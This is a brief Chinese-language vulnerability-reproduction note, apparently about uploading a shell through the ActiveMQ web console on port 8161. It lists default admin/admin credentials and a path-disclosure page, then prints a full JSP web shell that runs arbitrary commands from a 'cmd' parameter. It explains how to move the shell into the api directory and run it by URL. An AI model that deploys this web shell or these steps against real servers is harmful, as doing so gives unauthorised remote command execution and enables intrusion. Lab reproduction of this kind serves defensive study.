漏洞復現
直接寫 shell
寫 shell 的話,需要寫在 admin 或者 api 中,也就是需要登錄,沒有密碼的話完成不了寫 shell 操作。
該環境默認的口令為 admin/admin。
訪問 http://ip:8161/admin/test/systemProperties.jsp
獲得當前系統的路徑
上傳 jsp 小馬,返回204,但是在 fileserver 路徑下不解析
小馬 <%@ page import="java.io.*" %> <% try { String cmd = request.getParameter("cmd"); Process child = Runtime.getRuntime().exec(cmd); InputStream in = child.getInputStream(); int c; while ((c = in.read()) != -1) { out.print((char)c); } in.close(); try { child.waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } } catch (IOException e) { System.err.println(e); } %>
然后移動到 api 目錄下,成功的話,返回 204 No Content
執行命令
http://192.168.73.151:8161/api/9.jsp?cmd=ls